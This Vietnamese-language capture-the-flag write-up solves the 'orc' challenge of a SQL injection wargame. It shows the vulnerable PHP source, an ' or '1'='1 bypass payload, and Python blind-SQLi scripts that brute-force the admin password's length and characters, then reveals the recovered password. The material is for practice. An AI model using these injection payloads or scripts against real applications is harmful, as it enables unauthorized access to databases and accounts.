

← → ↻ 🔒 los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?id=admin&pw=admin%27%20or%20%271%27=%271

query : select id from prob_orc where id='admin' and pw='admin' or '1'='1'

Hello admin

```
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob_|\.|\\(|\\)/i', $_GET[pw])) exit("No Hack ~ ~");
$query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello admin</h2>";

$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET[pw])) solve("orc");
highlight_file(__FILE__);
?>
```

Kiểm tra source code ta thấy có thể sử dụng payload pw=admin' or '1'='1' để vào được Hello admin như hình trên.

Tuy nhiên để giải được challenge thì cần thỏa mãn điều kiện thứ 2. Tức là cần phải tìm ra mật khẩu của admin.

Vì đã có hàm trên in ra “Hello admin” nên ta có thể dùng kĩ thuật sqli – blind để dò mật khẩu.

```
for i in range(1, 30):
    payload = "1' or '1'='1' and(length(pw)="+ str(i) + ")#"
    payload = urllib.quote(payload)
    url = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw="+payload

    opener = urllib2.build_opener(urllib2.HTTPHandler)
    request = urllib2.Request(url)
    request.add_header('User-Agent', 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML,
    request.add_header('Cookie', 'PHPSESSID=4e5ru6s8i2ekuffjc31pvk8dhe')
    request.get_method = lambda: 'GET'
    data = opener.open(request)
    data = data.read()

    if bytes("Hello admin", 'utf-8') in data:
        print("Len: ", i)
        break
    else:
        print("Tested with len = ", i)
```

Đoạn code trên để tìm ra độ dài của mật khẩu dựa vào hàm length() trong câu truy vấn. Dùng “Hello admin” trong kết quả trả về để nhận ra đáp án đúng.

```

string = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~!@#$%^&*()-_+=\""
key = ""

for i in range(1, 9):
    for j in range(len(string)):
        payload = "'1' or '1'='1' and(substring(pw," + str(i) + ",1)='" + string[j] + "'" + "#"
        payload = urllib.quote(payload)
        url = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw="+payload

        opener = urllib2.build_opener(urllib2.HTTPHandler)
        request = urllib2.Request(url)
        request.add_header('Cookie', 'PHPSESSID=4e51ru6s8i2ekuffjc31pvk8dhe')
        request.get_method = lambda: 'GET'
        data = opener.open(request)
        data = data.read()

        if bytes("Hello admin", 'utf-8') in data:
            key += string[j]
            break
        else:
            print("Testing with i, j: ", i, j)

        time.sleep(0.2)

    print("Reached i: ", i)

print(key)

```


Sau khi chạy thì thu được có 2 độ dài là 4 và 8, thử chạy code với cả 2 trường hợp thì trường hợp 8 cho ra mật khẩu như hình dưới.

```

Testing with i, j:  8 0
Testing with i, j:  8 1
Reached i:  8
095a9852
cuongng@DESKTOP-0V9T1VG: /mnt/c/Users/qt/Desktop/ctf3$

```

Sử dụng mật khẩu này để pass challenge.

← → ↻  los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=095a9852

query : select id from prob_orc where id='admin' and pw='095a9852'

Hello admin

ORC Clear!

```
<?php
    include "./config.php";
    login_chk();
    $db = dbconnect();
    if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~~");
    $query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'";
    echo "<hr>query : <strong>{$query}</strong><hr><br>";
    $result = @mysqli_fetch_array(mysqli_query($db,$query));
    if($result['id']) echo "<h2>Hello admin</h2>";

    $_GET[pw] = addslashes($_GET[pw]);
    $query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'";
    $result = @mysqli_fetch_array(mysqli_query($db,$query));
    if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc");
    highlight_file(__FILE__);
?>
```